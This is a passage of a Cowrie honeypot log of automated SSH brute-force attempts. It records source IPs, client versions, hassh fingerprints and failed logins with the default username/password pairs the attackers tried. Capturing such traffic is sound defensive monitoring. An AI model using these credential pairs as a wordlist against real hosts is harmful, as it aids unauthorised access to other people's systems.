96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:35.066293Z","src_ip":"43.134.24.11","session":"21bdeba180a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:35.780681Z","src_ip":"43.134.24.11","session":"21bdeba180a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:37.022540Z","src_ip":"43.134.24.11","session":"21bdeba180a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":49473,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ede4845b0ad","protocol":"ssh","message":"New connection: 43.134.24.11:49473 (10.17.0.5:22) [session: 0ede4845b0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:40.591012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:40.595606Z","src_ip":"43.134.24.11","session":"0ede4845b0ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:40.842179Z","src_ip":"43.134.24.11","session":"0ede4845b0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:41.588904Z","src_ip":"43.134.24.11","session":"0ede4845b0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:42.871951Z","src_ip":"43.134.24.11","session":"0ede4845b0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":49510,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c44080aad60","protocol":"ssh","message":"New connection: 182.93.7.194:49510 (159.203.135.109:22) [session: 8c44080aad60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:45.782457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:45.787797Z","src_ip":"182.93.7.194","session":"8c44080aad60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:46.007972Z","src_ip":"182.93.7.194","session":"8c44080aad60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1811,"dst_ip":"10.17.0.5","dst_port":22,"session":"369672c9563a","protocol":"ssh","message":"New connection: 43.134.24.11:1811 (10.17.0.5:22) [session: 369672c9563a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:46.255803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:46.310365Z","src_ip":"43.134.24.11","session":"369672c9563a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:46.499041Z","src_ip":"43.134.24.11","session":"369672c9563a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Push@8240","message":"login attempt [root/Push@8240] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:46.917389Z","src_ip":"182.93.7.194","session":"8c44080aad60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:47.442083Z","src_ip":"43.134.24.11","session":"369672c9563a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:48.139955Z","src_ip":"182.93.7.194","session":"8c44080aad60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:48.681515Z","src_ip":"43.134.24.11","session":"369672c9563a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":49474,"dst_ip":"10.17.0.5","dst_port":22,"session":"068c3f979df3","protocol":"ssh","message":"New connection: 43.134.24.11:49474 (10.17.0.5:22) [session: 068c3f979df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:52.054921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:52.059523Z","src_ip":"43.134.24.11","session":"068c3f979df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:52.305769Z","src_ip":"43.134.24.11","session":"068c3f979df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:53.063980Z","src_ip":"43.134.24.11","session":"068c3f979df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:54.313040Z","src_ip":"43.134.24.11","session":"068c3f979df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.112.4","src_port":33711,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7cf89576dc4","protocol":"ssh","message":"New connection: 61.76.112.4:33711 (159.203.135.109:22) [session: e7cf89576dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:56.759356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:56.763724Z","src_ip":"61.76.112.4","session":"e7cf89576dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:56.959480Z","src_ip":"61.76.112.4","session":"e7cf89576dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chevy","message":"login attempt [root/chevy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:57.785154Z","src_ip":"61.76.112.4","session":"e7cf89576dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":34287,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3845be56f9f","protocol":"ssh","message":"New connection: 43.134.24.11:34287 (10.17.0.5:22) [session: e3845be56f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:57.827128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:57.831005Z","src_ip":"43.134.24.11","session":"e3845be56f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:58.077329Z","src_ip":"43.134.24.11","session":"e3845be56f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:58.986073Z","src_ip":"61.76.112.4","session":"e7cf89576dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:52:59.116842Z","src_ip":"43.134.24.11","session":"e3845be56f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:00.370035Z","src_ip":"43.134.24.11","session":"e3845be56f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23313,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec39f670d58a","protocol":"ssh","message":"New connection: 43.134.24.11:23313 (10.17.0.5:22) [session: ec39f670d58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:03.642767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:03.647768Z","src_ip":"43.134.24.11","session":"ec39f670d58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:03.885638Z","src_ip":"43.134.24.11","session":"ec39f670d58a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:04.599492Z","src_ip":"43.134.24.11","session":"ec39f670d58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:05.842501Z","src_ip":"43.134.24.11","session":"ec39f670d58a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":7292,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad2d10ea2de9","protocol":"ssh","message":"New connection: 43.134.24.11:7292 (10.17.0.5:22) [session: ad2d10ea2de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:09.385979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:09.391330Z","src_ip":"43.134.24.11","session":"ad2d10ea2de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:09.637827Z","src_ip":"43.134.24.11","session":"ad2d10ea2de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:10.381213Z","src_ip":"43.134.24.11","session":"ad2d10ea2de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:11.641532Z","src_ip":"43.134.24.11","session":"ad2d10ea2de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":44961,"dst_ip":"10.17.0.5","dst_port":22,"session":"17fe8c1e3496","protocol":"ssh","message":"New connection: 43.134.24.11:44961 (10.17.0.5:22) [session: 17fe8c1e3496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:15.113340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:15.118263Z","src_ip":"43.134.24.11","session":"17fe8c1e3496","protocol":"ssh"}
